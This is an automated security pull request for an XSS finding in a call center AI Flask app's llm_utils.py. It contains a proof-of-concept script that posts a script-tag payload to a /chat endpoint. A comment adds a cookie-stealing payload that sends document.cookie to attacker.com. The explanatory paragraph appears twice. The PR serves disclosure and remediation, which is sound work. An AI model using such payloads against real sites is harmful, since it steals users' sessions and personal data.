[Security] Fix MEDIUM vulnerability: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2

[orbisai0security]

Security Fix

This PR addresses a MEDIUM severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Medium	In this call center AI repository, exploiting the direct Jinja2 usage could allow XSS attacks if user inputs or AI-generated responses are rendered without proper escaping, potentially leading to session hijacking or theft of sensitive customer data during call interactions. However, the impact is limited to web-based interfaces and does not enable full system compromise or remote code execution.
Likelihood	Medium	The repository appears to be a web-based Flask application for AI-driven call center operations, where user inputs (e.g., via chat or forms) could be processed through llm_utils.py and rendered directly, making XSS feasible if attackers target the web interface with malicious payloads. Exploitation requires specific user interaction and knowledge of the app's input handling, but it's not highly unlikely given common web attack vectors.
Ease of Fix	Medium	Remediation involves refactoring the code in llm_utils.py to use Flask's render_template() method instead of direct Jinja2 rendering, which may require updating how templates are processed and ensuring all related files handle escaping properly. This could necessitate moderate testing to avoid breaking changes in AI response rendering, but it's not a simple one-line fix due to potential dependencies on existing template logic.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in app/helpers/llm_utils.py involves direct use of Jinja2 templating without proper HTML escaping, which can allow cross-site scripting (XSS) if user-controlled input is rendered unsafely. In this specific repository, which is a Flask-based call center AI application, an attacker could inject malicious JavaScript payloads through inputs processed by LLM utilities (e.g., user queries or AI responses), leading to XSS when the output is displayed in the web interface. This is particularly exploitable if the app renders dynamic content from LLM interactions without Flask's built-in escaping via render_template().

The vulnerability in app/helpers/llm_utils.py involves direct use of Jinja2 templating without proper HTML escaping, which can allow cross-site scripting (XSS) if user-controlled input is rendered unsafely. In this specific repository, which is a Flask-based call center AI application, an attacker could inject malicious JavaScript payloads through inputs processed by LLM utilities (e.g., user queries or AI responses), leading to XSS when the output is displayed in the web interface. This is particularly exploitable if the app renders dynamic content from LLM interactions without Flask's built-in escaping via render_template().

# Proof-of-Concept: Exploiting XSS via Direct Jinja2 Use in llm_utils.py
# This assumes the repository's app is running locally (e.g., via `python app.py` after setup).
# The exploit targets the LLM utility function that directly uses Jinja2.Template for rendering responses.
# Prerequisites: Access to the web app's input forms (e.g., chat or query submission endpoints).

import requests  # For simulating HTTP requests to the Flask app

# Step 1: Craft a malicious payload that includes XSS script
# This payload could be injected via user input fields, such as a call center chat query.
xss_payload = "{{ '<script>alert(\"XSS Exploited in Call Center AI!\")</script>' }}"

# Step 2: Send the payload to an endpoint that processes it via llm_utils.py
# Assuming the app has a route like /chat or /query that calls the vulnerable function.
# In the repository, this might be in app/routes.py or similar, invoking helpers.llm_utils.
url = "http://localhost:5000/chat"  # Adjust based on actual app port/route from app.py
data = {"user_input": xss_payload}  # Payload injected into user input

response = requests.post(url, data=data)

# Step 3: If the response renders the payload without escaping, the script executes in the browser.
# Check the response content for unescaped output (in a real test, open in browser to see alert).
print(response.text)  # Should contain <script>alert("XSS Exploited in Call Center AI!")</script> if vulnerable

# Alternative: If the app uses WebSocket or AJAX for real-time chat (common in AI apps),
# inject via WS message. Example using websocket-client library:
# import websocket
# ws = websocket.create_connection("ws://localhost:5000/chat_ws")
# ws.send(xss_payload)
# response = ws.recv()
# print(response)  # Check for unescaped script execution

# Additional Steps for Testing in a Safe Environment:
# 1. Clone and run the repository: git clone https://github.com/microsoft/call-center-ai && cd call-center-ai && pip install -r requirements.txt && python app.py
# 2. Use a browser or tool like Burp Suite to submit the payload above to input forms.
# 3. Inspect the rendered HTML response; if Jinja2 autoescaping is off (default in direct use), the <script> tag executes.
# 4. To confirm: Add console.log or fetch to exfiltrate data, e.g., payload = "{{ '<script>fetch(\"http://attacker.com/steal?cookie=\"+document.cookie)</script>' }}"
# This demonstrates real-world exploitation via user inputs in the call center chat interface.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	Medium	Successful XSS could steal session cookies or authentication tokens from call center users (agents or customers), potentially exposing conversation logs, user personal data (e.g., names, phone numbers), and AI-generated insights stored in the app's database. If the app handles sensitive call data, this could leak proprietary business information or customer PII.
System Compromise	Low	XSS is client-side and unlikely to grant direct server or system access; it primarily affects the user's browser. However, if combined with other flaws (e.g., CSRF), an attacker might trick users into performing privileged actions within the app, but no direct code execution on the server or host is possible.
Operational Impact	Medium	Malicious scripts could disrupt the call center interface (e.g., infinite loops or redirects), causing temporary unavailability for agents, leading to delayed customer service. In a high-traffic scenario, widespread XSS could exhaust client resources, indirectly impacting app performance or requiring user-side mitigations like browser refreshes.
Compliance Risk	High	Violates OWASP Top 10 A03:2021 (Injection) and could breach GDPR if customer data is exfiltrated without consent, or industry standards like PCI-DSS if call data involves payment info. As a Microsoft repository, it risks failing internal security audits and could lead to regulatory fines for mishandled personal data in AI-driven customer interactions.

Vulnerability Details

• Rule ID: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2
• File: app/helpers/llm_utils.py
• Description: Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• app/helpers/llm_utils.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.

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